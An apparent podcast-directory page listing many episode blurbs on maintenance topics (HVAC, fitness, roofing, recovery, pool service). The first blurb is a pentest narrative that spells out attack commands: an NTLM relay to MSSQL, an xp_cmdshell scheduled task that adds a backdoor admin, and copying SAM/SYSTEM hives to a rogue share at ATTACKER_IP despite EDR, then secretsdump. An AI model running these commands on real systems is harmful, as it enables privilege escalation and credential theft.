Podcasts about Maintenance

Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else: I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/. I relayed the DA account to a SQL box that BloodHound said had a “session” from another DA. One part I can't explain is the first relay got me a shell in the context of NT SERVICEMSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITYSYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance". Turns out a DA wasn't interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn't copy reg hives out of it – EDR was unhappy. In the end, the bizarre combo of things that did the trick was: Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!' From the victim system, I did an mklink to the shadow copy: mklink /d C:tempbackup ?GLOBALROOTDeviceHarddiskVolumeShadowCopy123 From command prompt on the victim system, I authenticated to my rogue share: net use ATTACKER_IPshare /user:toteslegit DontMindMeLOL! Then I did a copy command for the first hive: copy SYSTEM my.attackingipsys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed! I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!! Finishing move: secretsdump -sam sam.test -system sys.test LOCAL

This week on Safety Glasses Required, we talk about staying safe in the shop and why equipment maintenance matters more than you think. If you topic ideas or want to reach out to us our email is clmckenna@mail.fresnostate.edu or jswilliams@mail.fresnostate.edu  Check out the podcast website at you can also check out the last episode in full length using the link https://safetyglassesrequired.libsyn.com/ 

Vaughn Halliday, MSc, CFM, SFP, FMP, PMP, ProFM is Manager of Support Services and Facilities for the Central Bank of Trinidad & Tobago where he is a seasoned management executive with a specialized focus on facilities and project management, underpinned by a fervent commitment to sustainability. Mike Petrusky asks Vaughn why he believes that FM professionals need to lead with purpose, adapt with precision, and invest in people as much as they do in technology. They discuss the constant tension between short-term operational demands and long-term asset stewardship which often leads to deferred maintenance and reactive decision-making and Vaughn shares how the effective use of data from CMMS and BMS platforms is essential for driving strategic outcomes. He says that facility managers should move beyond a maintenance mindset and embrace FM as a strategic enabler of business outcomes by investing in training and credential programs at events like IFMA's World Workplace. The future of FM is already here, with AI, IoT, and smart systems reshaping how assets are managed, so Mike and Vaughn encourage and inspire you to be an Asset Champion in your organization! Connect with Vaughn on LinkedIn: https://www.linkedin.com/in/vaughn-halliday/ Learn more about IFMA: https://www.ifma.org/ Explore Eptura™: https://eptura.com/ Discover free resources and explore past interviews at: https://eptura.com/discover-more/podcasts/asset-champion/ Connect with Mike on LinkedIn: https://www.linkedin.com/in/mikepetrusky/  

Have questions, feedback, or thoughts on the show? We want to hear from you! Click on this link to send us a text message. What does 50 years in the grain industry teach you about smarter equipment decisions? Today's guest, Jeff Schwab, knows the answer firsthand.Jeff began his career at just 15 years old, working night shifts at a local mill while finishing high school. After completing a Vo-Tech program in drafting and design, he spent decades shaping the grain industry—first as a draftsman, then in sales, troubleshooting, and ultimately as a trainer and Product Specialist for GSI/Intersystems. With more than 20 years at Schlagel and another 16 at GSI, Jeff built a reputation as a trusted expert and mentor.In this episode, Jeff shares:How to avoid overspending, underspending, or overbuilding projectsWhy a modern maintenance mindset is critical for reliability and safetyCommon mistakes with bucket elevators, dual drives, and high horsepower systemsMemorable field stories where smart choices—and costly mistakes—shaped outcomesHis advice for young professionals entering the industry todayJeff also reflects on his time teaching at GEAPS/K-State Hands-On Training (HOT) for the Operation and Maintenance of Conveying Equipment program at K-State and why knowledge-sharing is the lifeblood of this industry.Whether you're managing a facility, making equipment investments, or just starting your grain career, this conversation is packed with practical insights you can take back to your team.Reflection Questions for DiscussionUse these prompts to guide personal reflection or spark a team conversation after listening:Where has your facility overspent or underspent on equipment in the past?Have you seen a project that was overbuilt or underbuilt? What was the impact?What kind of maintenance mindset does your team rely on—preventive, reactive, or somewhere in between?How does your workplace encourage knowledge-sharing between experienced employees and newer professionals?Grain Elevator and Processing Society champions, connects and serves the global grain industry and its members. Be sure to visit GEAPS' website to learn how you can grow your network, support your personal professional development, and advance your career. Thank you for listening to another episode of GEAPS' Whole Grain podcast.

Don't miss out on our From Busy to Better webinar! Register here - https://go.physiquedevelopment.com/registerCoach Charlotte joins us on today's Fit Bit to tackle a topic that many people misunderstand: maintenance.Maintenance isn't a free pass to let everything slide—it's about consistently practicing the same habits that got you to your goals in the first place, just in a more sustainable way. The goal is to protect and sustain what you've already earned, and Charlotte breaks down exactly what that looks like in real life.As always, it is our goal not only to supply you, the listener, with valuable insights on the topics or questions but also to plant some seeds for further research and thought. Be sure to like and subscribe and leave us a review if you loved this episode!If YOU'RE ready to make real, sustainable change in your life, jump on a free call with us - https://physiquedevelopment.typeform.com/to/ToP9TYLEConnect with Coach Charlotte & Team PD:Coach Charlotte: https://www.instagram.com/cmjones.fitPhysique Development: https://www.instagram.com/physiquedevelopment_Physique Development Podcast: https://www.instagram.com/physiquedevelopmentpodcastInquire to work with Team PD: https://physiquedevelopment.typeform.com/to/ToP9TYLEHave questions or comments for us? Submit them here - https://forms.gle/AEu5vMKNLDfmc24M7Check out our FREE 4-Week Glute Program - https://bit.ly/podcastglutesAnd keep the gains rolling with 12 MORE weeks of glute growth (use code POD at checkout for $25 off!) - https://train.physiquedevelopment.com/workout-plans/963551Keep up to date with all things PD, get exclusive content, snag freebies, and more by joining our email list! - https://dedicated-artist-6006.ck.page/emailsignupInterested in the Physique Development Training Club App? Join here! - https://physiquedevelopment.appInquire to learn about nutrition-only coaching WITH exercise review - https://bit.ly/optimizeglutesGrab a band tee here! - https://shopphysiquedevelopment.comLooking to hire the last coach you'll ever need? Apply here - https://physiquedevelopment.typeform.com/to/ToP9TYLEInterested in competition prep? Apply here - https://physiquedevelopment.typeform.com/to/Ii2UNAFor more videos, articles, and information, head to - https://physiquedevelopment.comIf you would like to support Physique Development and this podcast, please head over to your favorite podcast app and leave us a rating and review! This goes a long way in supporting this podcast and helps us continue to bring high-quality, honest content to you in the form of a podcast. Thank you for listening and we will see you all next time!----Produced by: David Margittai | In Post MediaWebsite: https://www.inpostmedia.comEmail: david@inpostmedia.com© 2025, Physique Development LLC. All rights reserved.

Tyler and Freya are joined by Region Manager Ken Sauder in part 2 of this 2 part series. Ken stops by to pass on some wisdon around how to look at a maintenance plan big picture, as well as some of the details to consider to make it a success.

FREE RESOURCE:  Take our QUIZ and see if the SHED METABOLIC RESET PROGRAM is a good fit for you!  In this conversation, Dr. Tara Rawana and Dr. Michelle Peris discuss the intricate relationship between metabolic health, willpower, and the systems necessary for achieving long-term health goals.  They emphasize the limitations of willpower alone and the importance of structured eating, mindset, and community support in fostering sustainable health transformations.  The discussion highlights the significance of emotional awareness and body literacy in overcoming challenges and achieving lasting success in health and wellness.   Takeaways Willpower can only take you so far in health. Building systems is crucial for long-term success. Body weight is not a reliable indicator of health. Community support enhances individual health journeys. Mindset plays a key role in health transformations. Emotional challenges must be addressed for healing. Food choices should align with body needs. Sustainable health requires education and awareness. Maintenance is as important as the initial reset. Empowerment comes from understanding one's body.  Chapters 00:00 Introduction to Resets and Metabolic Health 02:47 The Role of Willpower in Health Journeys 05:43 Understanding Metabolic Health and Its Importance 08:25 Systems Over Willpower: A New Approach 11:15 Building Confidence Through Nutrition Education 14:11 Mindset and Emotional Awareness in Health 16:52 The Power of Community Support 19:38 Navigating Emotional Challenges in Health Journeys 22:37 The Importance of Maintenance in Health Programs 25:17 Real-Life Success Stories and Transformations 27:55 Conclusion: Aligning with Systems for Long-Term Health   Stay Wild.   Connect with Dr. Tara on INSTAGRAM Connect with Dr. Michelle on INSTAGRAM This episode is brought to you by: www.the-wild-collective.com Ready to reclaim your Wild? JOIN THE WAITLIST Learn more about The Poppy Clinic: www.poppyclinic.com Is Naturopathic Medicine for you: LEARN MORE HERE Take our HORMONE QUIZ Are you a clinician looking for more impact? START HERE

On this episode of The Thought Shower, Intern John talks about being a low maintenance friend!Intern John's new comedy album, "Chuy Forever: The Album" is available for preorder now! Proceeds benefit the Warrior Canine Connection. You can order the album HEREEvery week Intern John discusses adulting, dating, radio life, and more! You can follow Intern John on social media: @InternJohnRadio. You can listen to past episodes at TheThoughtShower.com

In this episode of the HVAC Know It All Podcast, host Gary McCreadie talks with Tyler Nelson from Sauermann Group about the importance of early maintenance for heating systems. Tyler explains how doing checks before the cold weather hits can help prevent issues like cracked heat exchangers, saving time and stress later. They discuss how tackling maintenance during the shoulder season lets you handle repairs in better conditions, avoiding rushed work in the winter. Tyler also emphasizes the need for combustion analysis and safety checks to protect both technicians and customers from carbon monoxide risks. Tyler talks about the benefits of doing heating system maintenance early, before the cold hits. He explains how checking systems in mild weather helps avoid problems like cracked heat exchangers and long wait times for parts. Tyler shares tips on getting maintenance done early, using combustion analyzers for safety, and checking for carbon monoxide risks. He emphasizes how using the right tools and timing can save money, prevent emergencies, and keep customers safe during the heating season. This episode is filled with useful heating maintenance tips, real-world examples, and advice on getting ahead of issues like cracked heat exchangers. Tyler talks about using early checks, combustion analyzers, and proper tools to keep systems safe, save time, and avoid winter emergencies. Expect to Learn: Why early heating system maintenance is key to avoiding issues. How combustion analyzers help ensure safety. Why checking for CO risks is crucial during winter prep. Tips for doing maintenance in milder weather. How getting ahead of repairs can save time and money. Episode Highlights: [00:32] - Intro to Tyler Nelson in Part 1 [02:05] - Tyler Nelson Talks About Heating Season Excitement [02:38] - Benefits of Early Heating System Maintenance [07:46] - Early Furnace Checks and Maintenance [10:11] - Carbon Monoxide Safety and Monitoring Tools [15:34] - Dangers of Using Gas Ovens for Home Heating [17:26] - Rental Furnace Failures and Tenant Protection Issues [21:38] - Rental Furnaces, Delayed Repairs, and Customer Protection [24:01] - Why Combustion Analysis Matters During Maintenance [28:06] - Real-World Service Call: High CO Levels Found with Analyzer This Episode is Kindly Sponsored by: Master: https://www.master.ca/ Cintas: https://www.cintas.com/ Cool Air Products: https://www.coolairproducts.net/ property.com: https://mccreadie.property.com SupplyHouse: https://www.supplyhouse.com/tm Use promo code HKIA5 to get 5% off your first order at Supplyhouse! Follow the Guest Tyler Nelson on: LinkedIn: https://www.linkedin.com/in/tyler-nelson-master-hvacr-9a8a981b/ Sauermann Group: https://www.linkedin.com/company/sauermann-group/ Follow the Host: LinkedIn: https://www.linkedin.com/in/gary-mccreadie-38217a77/ Website: https://www.hvacknowitall.com Facebook: https://www.facebook.com/people/HVAC-Know-It-All-2/61569643061429/ Instagram: https://www.instagram.com/hvacknowitall1/

Summary In this episode of the Be a Smarter Homeowner podcast, hosts Elizabeth Dodson and John Bodrozic discuss essential home maintenance tasks that homeowners often overlook. They emphasize the importance of understanding different categories of maintenance, including preventative and inspection-oriented tasks. The conversation covers various inspection tasks, such as checking roofs and foundations, and highlights the significance of using technology for home inspections. The hosts also share practical maintenance tips for appliances, cleaning routines, and safety considerations, ultimately encouraging homeowners to take proactive steps in caring for their homes.     Takeaways Home maintenance is an ongoing journey for all homeowners. Different homes require different maintenance tasks based on location and age. Preventative maintenance can save homeowners from costly repairs. Regular inspections can help detect issues before they escalate. Technology can assist in home inspections and maintenance tracking. Cleaning tasks are often as important as maintenance tasks. Safety should always be a priority during home maintenance. Garage doors require periodic maintenance to ensure safety. Sewer line maintenance is crucial for preventing clogs and backups. Tree maintenance is essential to protect your home from potential damage.     Sound bites "You could always be smarter." "Avoidance is not a good thing." "Safety is the first priority."     Chapters 00:00 Introduction to Home Maintenance Awareness 03:07 Understanding Home Maintenance Categories 05:57 Inspection Tasks for Homeowners 09:06 The Importance of Roof and Foundation Inspections 11:57 Utilizing Technology for Home Inspections 15:03 HVAC Maintenance and Inspections 17:57 Cleaning and Maintenance Tasks for Homeowners 20:45 The Importance of Cleaning and Maintenance 23:01 Safety First: Gas and Wood Burning Fireplaces 24:11 Garage Door Care: Springs and Lubrication 25:53 Understanding Home Components: A Homeowner's Guide 27:09 Dryer Vent Maintenance: A Hidden Hazard 30:04 Washer and Dryer Connections: Preventing Leaks 31:00 Sewer Line Maintenance: Avoiding Costly Repairs 33:01 Tree Maintenance: Protecting Your Home 37:59 Final Thoughts: Embracing Home Care

Welcome to your Midweek Motivation!In this episode, Gina and Odette catch up inside the Maintenance Group to celebrate Prep Week and reconnect with members making the shift from weight loss to weight stability. They reflect on the emotional high of seeing familiar names in the new space, and how meaningful it is to witness members stepping into their new identity as maintainers. Gina shares insights into the why behind repeating the Maintenance Program and encourages members to go beyond just following the food plan—this round is about digging a little deeper, leaning into intention, and building a life that reflects who you are now. They also touch on the power of habits in times of grief, staying grounded with routine, and how tools like Back On Track aren't just about food—they're about living life and navigating through it all with confidence.You can find the full video hosted at:https://www.facebook.com/groups/ginalivymaintenanceandmindfulnessTo learn more about The Livy Method and our Maintenance & Mindfulness group, visit livymethod.com. Hosted on Acast. See acast.com/privacy for more information.

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Surprising? Maybe notNecessary? Absolutely@harriet_strongwomencollective

Aaron Franklin is the Chef, Co-Owner, and Head of Maintenance at Franklin Barbecue in Austin, Texas. Aaron Franklin opened his BBQ joint back in 2009 as a trailer. In 2011, he got his brick and mortar. Today, Aaron dabbles in writing books, leading masterclasses, manufacturing wholesale retail sauces, and he makes BBQ pits!  Join RULibrary: www.restaurantunstoppable.com/RULibrary Join RULive: www.restaurantunstoppable.com/live Set Up your RUEvolve 1:1: www.restaurantunstoppable.com/evolve Subscribe on YouTube: https://youtube.com/restaurantunstoppable Subscribe to our email newsletter: https://www.restaurantunstoppable.com/ Today's sponsors: Meez: Are you a chef, owner, operator, or manage recipes in professional kitchens? meez is built just for you. Organize, share, prep, and scale recipes like never before. Plus, engineer your menu in real-time and get accurate food costs. Sign up for free today and get 2 FREE months of invoice processing as a listener of the Restaurant Unstoppable Podcast. Visit getmeez.com/unstoppable to learn more. US Foods: US Foods is hosting the event of the year, Food Fanatics 2025. August 19-20, 2025, at the Mandalay Bay, Las Vegas, NV. Network with over 5,000 Industry peers. Attend Zouk nightclub reception, expert breakout sessions, Keynote speeches, musical performances, and dramatic demonstrations, and sample the latest on-trend dishes. The Clock Is Ticking! Be Ready to Register on April 16 for Food Fanatics® 2025. To learn more, visit www.usfoods.com/foodfanatics2025 Restaurant Systems Pro - Join the 60-day Restaurant Systems Pro FREE TRAINING. This is something that has never been done before. This 60-day event is at no cost to you, but it is not for everyone. Fred Langley, CEO of Restaurant Systems Pro, will lead a group of restaurateurs through the Restaurant Systems Pro software and set up the systems for your restaurant. During the 60 days, Fred will walk you through the Restaurant Systems Pro Process and help you crush the following goals: Recipe Costing Cards; Guidance in your books for accounting; Cash controls; Sales Forecasting(With Accuracy); Checklists; Budgeting for the entire year; Scheduling for profit; More butts in seats and more… Click Here to learn more.  Let's make 2025 the year your restaurant thrives. Guest contact info:  Website Thanks for listening! Rate the podcast, subscribe, and share! 

Text us a pool question!In this episode, Shane and Lee discuss the transition into the spring pool season, the impact of weather on pool maintenance, and the increasing presence of AI in the pool service industry. They emphasize the importance of human connection in business, especially in a field where personal relationships can significantly influence customer loyalty. The conversation highlights the need for pool service professionals to adapt to technological advancements while maintaining a personal touch with their clients.takeawaysThe start of spring marks a busy season for pool services.Weather significantly impacts customer demand for pool maintenance.Pool professionals must adapt to changing weather conditions.AI technology is becoming more prevalent in pool maintenance.Human connection is crucial in the service industry.Customers prefer to do business with people they trust.Feedback, whether positive or negative, is valuable for improvement.Building relationships with clients fosters loyalty and repeat business.Personalized communication enhances customer satisfaction.Understanding customer needs is key to standing out in the market.Sound Bites"AI isn't always right.""What makes you different?""All feedback is good feedback."Chapters00:00Spring Awakening: The Start of Pool Season11:03Navigating the AI Landscape in Pool Maintenance22:30Building Connections: The Human Element in Pool Services Support the showThank you so much for listening! You can find us on social media: Facebook Instagram Tik Tok Email us: talkingpools@gmail.com

The guys welcome Billy Appel of Appel Outdoor Maintenance to the show to hear about the journey and growth of their business and snow side since they started in 2011

Sarah opens up about starting opioids at 20, a rapid slide to heroin, pregnancy on methadone, jail, and the drug court program that helped her turn it around. After a later Xanax relapse during COVID, she did the work—therapy, structure, and service—and is now certified and working as a counselor at a maintenance clinic. This candid conversation with Wendy Beck and Rich Bennett shows what sustainable recovery really looks like—and why hope matters. Sponsored by Rage Against Addiction Guest Bio:  Sarah is a Harford County native, mom, and recovery professional. After entering opioid use at 20 and escalating to heroin in 2012, she experienced jail and drug court, achieved long-term abstinence from opiates and cocaine (since Sept. 27, 2016), overcame a benzodiazepine relapse in 2020–2021 (clean since Nov. 4, 2020), earned her Peer Recovery Specialist credential and ADT approval, and now counsels patients at a medication-assisted treatment clinic. Main Topics: ·         Podathon for Recovery: 12 Days of Hope benefiting Rage Against Addiction·         Starting opioids at 20; rapid progression from pills to heroin (2012)·         Pregnancy on methadone, stigma, and learning MAT safety·         IV use, crack/cocaine, legal consequences, and visible decline·         Jail detox and entry into Drug Court; Judge-led accountability·         Long-term sobriety from opiates/cocaine; COVID-era Xanax relapse and dangers of benzo withdrawal·         Therapy, boundaries, routines, fitness, and gratitude as core recovery tools·         Working in recovery: peer support vs. clinicians; women-specific needs; mom guilt and shame·         Maintenance meds (methadone/Suboxone): misuse stigma vs. real stability·         Parenting conversations about peer pressure and openness with kids·         Burnout prevention for recovery workers (self-care, phone boundaries, weekly therapy)  Resources mentioned: ·         Donate to Rage Against Addiction ·         Center for ASend us a textDonate HereRage Against AddictionRage Against Addiction is a non-profit organization dedicated to connecting addicts and their familiDisclaimer: This post contains affiliate links. If you make a purchase, I may receive a commission at no extra cost to you.Support the showRate & Review on Apple Podcasts Follow the Conversations with Rich Bennett podcast on Social Media:Facebook – Conversations with Rich Bennett Facebook Group (Join the conversation) – Conversations with Rich Bennett podcast group | FacebookTwitter – Conversations with Rich Bennett Instagram – @conversationswithrichbennettTikTok – CWRB (@conversationsrichbennett) | TikTok Sponsors, Affiliates, and ways we pay the bills:Hosted on BuzzsproutSquadCast Subscribe by Email

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Host: Jason Weber, President, Aluminum Extruders Council (AEC) Guest: Melvin “Mel” Mitchell, EHS Director, MI Metals  Episode Summary  Jason sits down with longtime safety pro Melvin Mitchell to preview AEC's upcoming Safety & HR Workshop + Plant Tour—two tightly packed days at the Westin Atlanta Airport, October 28–29. Why combine Safety and HR? Because that's how the real world runs: overlapping responsibilities, shared culture, and one goal—send everyone home safe while building great teams.  You'll hear what's on the agenda (from molten metal and maintenance safety to employment law and recruiting more women and veterans), why the Bonnell Aluminum—Noonan plant tour is a can't-miss (three+ years with no recordable incidents), and exactly why the best ideas often spark on the post-session barstool. Register early—bus seats for the plant tour are limited, and early/group rates sweeten the deal. The event is open to members and non-members, with sponsorships available.  Why Listen  Get a field-tested map of the two-track program (Safety + HR) and how they connect.  Learn how culture, behavior, and systems turn safety from posters into performance.  Steal practical ideas you can apply next shift—not next year.  Program Highlights  Safety Track  Keynote: Changing mindsets and driving a safety culture transformation (Chris Andrews, EHS Manager, Bonnell Aluminum—Noonan)  Workshops & Breakouts:  Cast house & molten metal safety (and why your scrap prep matters)  Emergency preparedness & first-responder training  Maintenance tech safety: practical risk reduction  Human behavior: common pitfalls and proven fixes  Safety panel: interactive problem-solving with peers  HR Track  Leadership Keynote: “The Power Position”—shifting cultures and driving results (Emily Nichols-Mitchell, Accelerations Group)  Sessions:  Employment law essentials: ICE/I-9, workers' comp, hot-button issues (Philip Russell, Ogletree Deakins)  Integrating veterans into manufacturing teams (John Buckley, Textron Aviation)  Reaching women in operations—expanding the talent pipeline  Future-of-work challenges (Performance Point LLC)  HR panel: candid Q&A on today's toughest people challenges  Plant Tour  Bonnell Aluminum — Noonan, GA See the systems, standards, and behaviors behind 3+ years with no recordable incidents—a live look at excellence in action.  Who Should Attend  Safety leaders, HR pros, operations managers, plant supervisors, and anyone who wears both hats (because… many do).  Key Takeaways  Safety and HR are two sides of one culture—align them and performance compounds.  Behavior + systems beat posters and pep talks.  Peer networking accelerates solutions you can deploy immediately.  Seeing best-in-class operations in person changes how you lead back home.  Logistics & Registration  When/Where: October 28–29, Westin Atlanta Airport (not downtown—easy in/out).  Plant Tour: Wednesday morning; limited coach capacity—register early to secure a seat.  Pricing: Early-bird and multi-attendee discounts available.  Open Access: AEC members and non-members welcome.  Sponsorships: Opportunities available for suppliers and extruders—helps offset costs and boosts visibility.  Pro tip from Mel: Don't leave your hotel to chance—book early. Atlanta traffic doesn't care about your first session.  Register early, bring your team, and claim those tour seats. (And if you're a supplier or extruder, consider a sponsorship—it fuels the content and keeps costs in check.)  https://members.aec.org/events/EventDetails.aspx?id=1970710&group=  

Welcome back to Home Design Chat with Nancy.   This is the place where you learn everything about your home, what the current trends are, how to design, plan and execute your remodel and much more.Your roof takes a beating every season—scorching hot summers, heavy snowfalls, and everything in between.  But how do you know if the roof is really holding up? Charlie Holquin, Sales & marketing director for Big Red Roofing, is my guest today.   Charlie will explain what extreme heat does to shingles, how snow and ice can sneak damage into your home, and those little warning signs—like curling shingles, sagging spots, or mysterious water stains—that you don't want to ignore.He will also share some simple maintenance tips that can save you from a costly repair down the road and keep your roof in good shape no matter the season.Important talking points:How extreme heat affects roofing materialsCommon signs of sun damage, including warping, curling, and fading shinglesWhat heavy snow and ice can do to your roof's structureRed flags like sagging, leaks, or water stains inside your homePreventative maintenance tips to extend the life of your roof year-roundIf you enjoyed this episode, be sure to subscribe on the platform you are using to listen to podcasts.By the way, you can send me an email at Nancy@nancyhugo.com to get on my email list for DesignersCircleHQ.com.  All the podcasts are posted there as well as Design Trends, news and more.If you want to learn more about me, go to NancyHugo.com and if you have any questions for me, send an email to Nancy@nancyhugo.com This podcast is sponsored by ⁠⁠Monogram.com

In the first half Nedra speaks with Becky Katz, a Manager in the City of Toronto’s Transportation Services Operations and Maintenance section, overseeing a team of 70 staff responsible for the upkeep and winter maintenance of the city’s sidewalks, bikeways and roads.  In the second half our guest is Leon Nettles, Executive Director of Tacoma's Second Cycle, a bike shop and community cycling center whose vision is 'A world where the joy of bike riding is accessible to everybody.'  

Maintenance Mindset Mondays is all about cracking open the conversation about what REAL maintenance looks like – beyond the scale and deep into personal transformation. Join Gina and Odette as they dive into the week's focus, share insights on all things maintenance, and answer your questions. Whether you're new or experienced, there's something for everyone!In this episode, Gina and Odette kick off the Fall 2025 Maintenance Program by setting the tone for the next 91 days. They explore why maintenance is a new phase, not just a continuation of weight loss, and emphasize the importance of showing up with fresh eyes—even for returning members. Whether you're brand new to the Livy Method or joining from the Weight Loss Program, this episode walks through what to expect, what's changing (including the new Midweek Motivation Wednesday Live time), and why this part of the journey is just as exciting, if not more, than losing weight. Expect real talk on identity shifts, mindset work, and building a solid foundation to sustain your weight for life.You can find the full video hosted at:https://www.facebook.com/groups/ginalivymaintenanceandmindfulnessTo learn more about The Livy Method and our Maintenance & Mindfulness group, visit livymethod.com. Hosted on Acast. See acast.com/privacy for more information.

In this episode, Chris explains the simplest way to work out your true maintenance calories—the point where your weight holds steady. You'll hear practical methods, common mistakes people make, and how to adjust based on real-world feedback instead of relying on unreliable calculators.

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Flying in the U.S. is still exceptionally safe, but the system relies on outdated tech and is under tremendous strain. Six experts tell us how it got this way and how it can (maybe) be fixed. (Part one of a two-part series.) SOURCES:Dorothy Robyn, senior fellow at I.T.I.F.Ed Bastian, C.E.O. of Delta Airlines.John Strong, professor of finance and economics at the William and Mary School of Business.Kenneth Levin, retired air traffic controller.Polly Trottenberg, former deputy secretary of the U.S. Department of Transportation. RESOURCES:"Brand New Air Traffic Control System Plan," (Federal Aviation Administration, 2025).The Air Traffic Controller Workforce Imperative: Staffing Models and Their Implementation to Ensure Safe and Efficient Airspace Operations, by the National Academies of Sciences, Engineering, and Medicine (2025)."Annual Aviation Infrastructure Report: 2025," by Marc Scribner (Reason Foundation, 2025)."New air traffic academy died in Congress despite dire need for more staff," by Lori Aratani (The Washington Post, 2025)."The Real Problem With the FAA," by Dorothy Robyn (The Atlantic, 2025)."How Much Do Jet Aircraft Pay into the Airport and Airway Trust Fund to Fly from Dallas to D.C.?" by Ann Henebery, (Eno Center for Transportation, 2018).Managing the Skies, by John Strong and Clinton Oster (2016). EXTRAS:"Freakonomics Radio Takes to the Skies," series by Freakonomics Radio (2023)."In Praise of Maintenance," by Freakonomics Radio (2016).

TakeawaysPeople often quit at the first sign of adversity in their fitness journey.Social media can skew perceptions of progress and body image.Mindset is crucial in achieving fitness goals and maintaining a healthy relationship with food.Experiencing life is more important than focusing solely on body image.Facing resistance is essential for personal growth and overcoming fears.Setting realistic goals helps maintain motivation and progress.Building confidence through strength training translates to other areas of life.Self-efficacy is a key predictor of success in weight loss and fitness.Fad diets often lead to feelings of failure and decreased self-efficacy.Prioritizing self-care is essential for long-term health and happiness.Chapters00:00 Introduction to Jordan Syatt and His Philosophy02:34 The Importance of Mindset in Fitness05:43 Perception of Time and Progress in Fitness08:26 The Reality of Social Media and Body Image11:01 Facing Resistance and Overcoming Fear16:43 The Role of Self-Efficacy in Achieving Goals21:46 The Impact of Identity on Fitness and Weight Loss28:41 Setting Realistic Goals and Bright Lines30:34 The Limits of Coaching: Accepting Reality35:22 Understanding Readiness for Change38:37 The Importance of Self-Prioritization41:53 Building Healthy Relationships with Food49:06 The Fallacy of Perfectionism53:40 The Journey of Sustainable ChangeSound Bites"You need to lean into the fear.""Maintenance is progress.""Perfection doesn't exist."

Maintenance being forgotten while on the plane with passengers, ramp maintenance, and stories between Rob and PhilRe-uploaded this episode which was out originally on June 29th 2023

Join Jake and Riley as they dive into the world of vehicle maintenance, sharing personal stories and insights on keeping their rides in top shape before winter sets in. From suspension fixes to clutch replacements, they cover it all with humor and honesty.The quirks of Toyota maintenance and the art of"letting it sit." Riley's ongoing battle with a stubborn clutch and steering issues. Jake's adventures in tire pressure adjustments and off-road challenges. A lighthearted discussion on the evolution of wheel sizes and the best wheel Toyota has ever made. Connect with Us:Follow Jake on Instagram: @BrothersBound Follow Riley on Instagram: @Turtle4R Follow the Podcast on Instagram: @ToyotaGaragePodcast

Harnessing MCPs for Automation: Revolutionizing Amazon Seller Workflows Episode Overview In this episode, Danny McMillan and Leo Automations explore the transformative potential of MCPs  for Amazon sellers. They discuss how these tools can streamline workflows, enhance productivity, and ultimately drive business growth by automating mundane tasks. This episode explores automation in amazon selling, efficiency through mcp integration with practical insights for immediate implementation. Model Context Protocol (MCP) is an open standard created by Anthropic in November 2024. Think of it as the USB-C port for AI applications. Before USB-C, every device needed its own cable—phone chargers, laptop chargers, headphones, all different. USB-C created one universal standard. MCP does the same thing for AI connections to business tools.

Send us a textOn this episode we will talk line maintenance and how to keep lie fresh. It is summer and we discuss the baits and presentations for this tricky time of the year. We will have a great tackle talk section as well as a little tournament talk. So, sit back and enjoy the show.  Support the showwww.facebook.com/susquehannafishingtacklewww.instagram.com/sfttackle/For all your tackle needs www.SFTTackle.com

Drawing from the dedication of the Tabernacle in Numbers chapter 7, Pastor Dorrell examines the timeless principle that anything of value requires ongoing maintenance and investment. Just as the leaders of Israel brought offerings to provide for the place of worship, so too must the church be sustained by the continuous, shared participation of its people. Pastor Dorrell explains that this provision extends beyond finances to include our presence, our service, and a thoughtful, joyful attitude. This message explores how our collective investment in the spiritual life of the community creates an environment where God's presence is pleased to dwell.Eastland is a Place to BelongEastland Baptist Church is located in Tulsa, Oklahoma. We are a welcoming and close-knit family community that loves to care for each other through the Church. We strongly believe in loving and supporting each other and our neighbors. Our members don't just attend our Church; they feel a strong sense of belonging.Join Us Find service times and our location at https://www.eastlandbaptist.org/join. Connect with UsWebsite: https://www.eastlandbaptist.orgFacebook: https://www.facebook.com/eastlandbaptisttulsaInstagram: https://www.instagram.com/eastlandbaptistTo support the ministry of Eastland Baptist Church, tap here: https://www.eastlandbaptist.org/give.

WBZ NewsRadio's James Rojas has more.

Naperville Park District conducts seasonal prescribed burns in many of its parks, but what exactly does that mean? Park Specialists Olivia Koehn and Tammy Peterson join the ParkTalk Podcast to educate listeners on the practice of prescribed burns and how the Park District uses them as a natural management tool.

To be spiritually healthy you need these two things.Donate to Moody Radio: http://moodyradio.org/donateto/todayssinglechristianSee omnystudio.com/listener for privacy information.

Send us a textEmail Lennie at lennielawson2020@gmail.com

Why are nearly all American homes built out of wood when most of the world uses brick, steel, or concrete? In Part I of our conversation Architect Jeana Ripple, author of The Type V City, explains how the U.S.'s reliance on light wood framing—known as Type V construction—became the national default. She breaks down the benefits (affordability, flexibility, sustainability) and the hidden risks (mold, storm damage, limited adaptability) that slowly shape the country's homes, neighborhoods, cities, and built environment. This conversation reveals how building codes and materials influence urban life far more than most of us realize.Jeana Ripple is the Chair of the Department of Architecture and the Vincent and Eleanor Shea Professor at the University of Virginia. A registered architect, she is principal and co-founder of the collaborative architecture firm, Mir Collective.LinksJeana Ripple - ⁠https://www.arch.virginia.edu/people/jeana-ripple⁠Mir Collective - ⁠https://mircollective.com/⁠Purchase the BookUT Press: The Type V City: Codifying Material Inequity in Urban America -  ⁠https://utpress.utexas.edu/9781477331620/⁠Amazon: The Type V City: Codifying Material Inequity in Urban America -  ⁠https://a.co/d/cUzKkyS⁠Subscribe to Most Podern on:Spotify - https://open.spotify.com/show/3zYvX2lRZOpHcZW41WGVrpApple Podcasts - https://podcasts.apple.com/us/podcast/most-podern-podcast/id1725756164Youtube - https://www.youtube.com/@MostPodernInstagram - https://www.instagram.com/most.podernLinkedIn - 